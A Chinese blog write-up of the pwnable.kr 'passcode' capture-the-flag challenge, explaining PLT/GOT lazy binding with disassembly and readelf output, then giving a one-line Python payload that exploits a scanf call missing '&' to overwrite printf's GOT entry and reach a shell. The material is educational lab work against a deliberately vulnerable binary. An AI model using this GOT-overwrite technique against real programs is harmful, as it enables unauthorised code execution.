pwnable.kr 之passcode summary

本人写这篇博客完全是为了方便以后查证,若能帮上各位的忙,在线非常宽慰.
关于pwnable.kr上的passcode,这博客写的很到位,大家不妨去看一下:passcode.我在这里只是补充几个问题,再将整个过程简单化而已.
1.plt表和got表的关系
  plt表—->got表.当程序中有需要库函数时,该plt和got表上场了.我们来举一个简单的例子(test.c):

#include <stdio.h>
void showmsg(char *szMsg)
{
    printf("%s\n", szMsg);
}
int main(int argc, char **argv)
{
    char szMsg[] = "Hello, world!";
    showmsg(szMsg);
    return 0;
}

对于这个简单的程序,流程如下:
main—>showmsg—>printf.
printf函数是一个库函数,需要引入库调用,但在编译阶段是不清楚printf函数的地址(地址随机化).

void showmsg(char *szMsg)
{
 8048434:   55                      push   %ebp
 8048435:   89 e5                   mov    %esp,%ebp
 8048437:   83 ec 18                sub    $0x18,%esp
    printf("%s\n", szMsg);
 804843a:   8b 45 08                mov    0x8(%ebp),%eax
 804843d:   89 04 24                mov    %eax,(%esp)
 8048440:   e8 0b ff ff ff          call   8048350 <puts@plt>
}
 8048445:   c9                      leave  
 8048446:   c3                      ret

从这个函数的汇编代码上可以看出,需要跳到0x8048350,这就是puts的plt,然后:

08048350 <puts@plt>:
 8048350:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048356:   68 08 00 00 00          push   $0x8
 804835b:   e9 d0 ff ff ff          jmp    8048330 <_init+0x38>

第一条指令跳转到0x0804a004地址处的值去执行,实际上0x0804a004就是一个对应的GOT(Global Offset Table)条目的位置了.我们使用:readelf -r test,得出:

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   __stack_chk_fail
0804a004 R_386_JUMP_SLOT   puts
0804a008 R_386_JUMP_SLOT   __gmon_start__
0804a00c R_386_JUMP_SLOT   __libc_start_main

也得出了puts的Got的地址

(gdb) x 0x804a004
0x804a004 <puts@got.plt>:   0x08048356

看到Got对应的函数地址,但printf经过第一次的调用之后,这个值会发生是改变.

(gdb) x 0x0804a004
0x804a004 <puts@got.plt>:   0x001913b0

原因是:PLT其实是延迟绑定技术,也就是等到调用函数的时候才进行函数地址的定位.第一次调用,plt—->got—->运算.将运算结果返回给got,这个运算结果是puts函数真正的代码所在处,下回再调用printf函数的时候,直接就是plt—->got—->代码.省掉了中间的运算过程,所以说,第一次稍微慢一点,后边就快了.
第二个问题:
答案的分析:

python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

这里主要分析'\x00\xa0\x04\x08'+'\n'+'134514147\n'
0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.
简单的说:
plt—->got—->真地址(printf函数的代码),经过我们覆写之后,
plt—->got—->假地址(system函数的代码).
这样我们就获得了shell.
第三个问题:为什么输入的内容刚好覆写printf函数的got表呢?
原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.
左-right,右图-wrong
从这个地方,我们可以看到无&的,取得地址是0x00007fff.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值